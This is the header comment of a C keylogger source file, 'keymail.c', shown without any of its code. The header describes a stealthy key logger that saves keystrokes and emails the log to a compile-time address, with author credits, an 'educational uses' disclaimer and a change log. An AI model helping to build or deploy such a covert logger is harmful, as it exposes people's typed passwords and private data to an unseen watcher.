* *
* File: keymail.c Ver. 0.7 *
* *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
* and email to whoever is set in the #define options at compile time. *
* This code is for educational uses, don't be an ass hat with it. *
* White Scorpion (www.white-scorpion.nl) did the initial work on the key *
* logger, but he has gone on to bigger and better things. *
* This version was crafted by Irongeek (www.Irongeek.com), who tacked on *
* some code to make it send emails, along with a few other changes. *
* If some of the code is crappy, blame Irongeek and not White Scorpion. *
* Please send Irongeek improvements and he will post the changes and give you *
* credit for your contributions. *

* *
* Change log: *
* 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. *
* 6/22/06 Added the date and time functionality using ctime and fixed *
* a bug where subject was being defined twice.(ThVoidedLine) *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
